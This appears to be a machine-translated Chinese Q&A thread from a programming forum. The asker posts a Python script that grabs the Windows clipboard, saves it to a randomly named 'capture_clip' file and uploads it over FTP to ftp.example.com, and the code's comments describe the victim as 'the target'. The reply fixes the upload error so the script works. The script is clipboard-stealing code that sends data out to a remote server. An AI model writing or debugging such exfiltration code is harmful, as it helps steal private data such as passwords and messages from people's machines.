2016-06-09 148 views
0

我有这样的 - Python脚本通过FTP蟒蛇发送文件内容

import os 
import random 
import ftplib 
from tkinter import Tk 

# now, we will grab all Windows clipboard data, and put to var 
clipboard = Tk().clipboard_get() 
# print(clipboard) 
# this feature will only work if a string is in the clipboard. not files. 
# so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something 
# then it would come back an error, and the rest of the script would come back false (therefore shutdown) 

random_num = random.randrange(100, 1000, 2) 
random_num_2 = random.randrange(1, 9999, 5) 
filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt" 
file = open(filename, 'w') # clears file, or create if not exist 
file.write(clipboard) # write all contents of var "foo" to file 
file.close() # close file after printing 

# let's send this file over ftp 
session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password') 
session.cwd('//logs//') # move to correct directory 
f = open(filename, 'r') 
session.storbinary('STOR ' + filename, f) 
f.close() 
session.quit() 

文件将(“文件名”,例如在变化的:“capture_clip5704061.txt”)发送由Python脚本创建的内容,我的FTP服务器,尽管本地系统上的文件内容不等于FTP服务器上的文件。正如你所见,我使用了ftplib模块。这是我的错误:

Traceback (most recent call last): 
File "script.py", line 33, in<module> 
session.storbinary('STOR ' + filename, f) 
File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary 
conn.sendall(buf) 
TypeError: a bytes-like object is required, not 'str' 
+0

对不起,这不是字面上的
标签 –

+0

为什么你在那里有他们呢?我用一个快速的正则表达式来替换它们,所以它现在被修复了... – Laurel

+0

谢谢,我不太清楚如何让这些消失(Stack,srry的新更新) –

回答

0

您的库期望文件以二进制模式打开,它会出现。请尝试以下操作:

f = open(filename, 'rb') 

这确保了从文件中读取的数据是一个bytes对象,而不是str(文本)。

+0

是的,这个工作。谢谢一堆! –